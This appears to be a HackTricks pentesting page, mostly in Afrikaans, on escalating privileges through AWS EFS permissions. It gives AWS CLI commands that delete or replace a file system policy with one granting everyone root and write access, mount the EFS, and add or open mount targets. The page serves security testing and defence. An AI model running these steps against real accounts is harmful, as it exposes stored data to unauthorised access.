# AWS - EFS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## EFS

Meer **inligting oor EFS** in:

{{#ref}}
../../aws-services/aws-efs-enum.md
{{#endref}}

Onthou dat om 'n EFS te mount moet jy in 'n subnetwork wees waar die EFS blootgestel is en toegang daartoe hê (security groups). As dit die geval is, sal jy standaard altyd in staat wees om dit te mount; egter, as dit deur IAM policies beskerm word, moet jy die ekstra permissions wat hier genoem word hê om toegang daartoe te kry.

### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`

Met enige van daardie permissions kan 'n attacker die **file system policy** verander om **jou toegang** daartoe te gee, of dit net **te delete** sodat die **default access** gegee word.

Om die policy te delete:
```bash
aws efs delete-file-system-policy \
--file-system-id <value>
```
Om dit te verander:
```json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
```
### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`

Met hierdie permisie kan 'n aanvaller die **mount the EFS** uitvoer. As die **write permission** nie standaard aan almal wat die **mount the EFS** kan doen gegee is nie, sal hy slegs **read access** hê.
```bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
```
Die ekstra permissies `elasticfilesystem:ClientRootAccess` en `elasticfilesystem:ClientWrite` kan gebruik word om binne die lêerstelsel te **skryf** nadat dit gemount is en om daardie lêerstelsel **toegang te kry** **as root**.

**Potential Impact:** Indirekte privesc deur sensitiewe inligting in die lêerstelsel te vind.

### `elasticfilesystem:CreateMountTarget`

As 'n aanvaller binne 'n **subnetwerk** is waar **geen mount target** van die EFS bestaan, kan hy net **een in sy subnet skep** met hierdie voorreg:
```bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
```
**Potential Impact:** Indirekte privesc deur sensitiewe inligting in die lêerstelsel te vind.

### `elasticfilesystem:ModifyMountTargetSecurityGroups`

In 'n scenario waar 'n aanvaller vind dat die EFS 'n mount target in sy subnetwerk het maar **geen security group die verkeer toelaat nie**, kan hy net dit **verander deur die geselekteerde security groups te wysig**:
```bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
```
**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die lêerstelsel te vind.

{{#include ../../../../banners/hacktricks-training.md}}
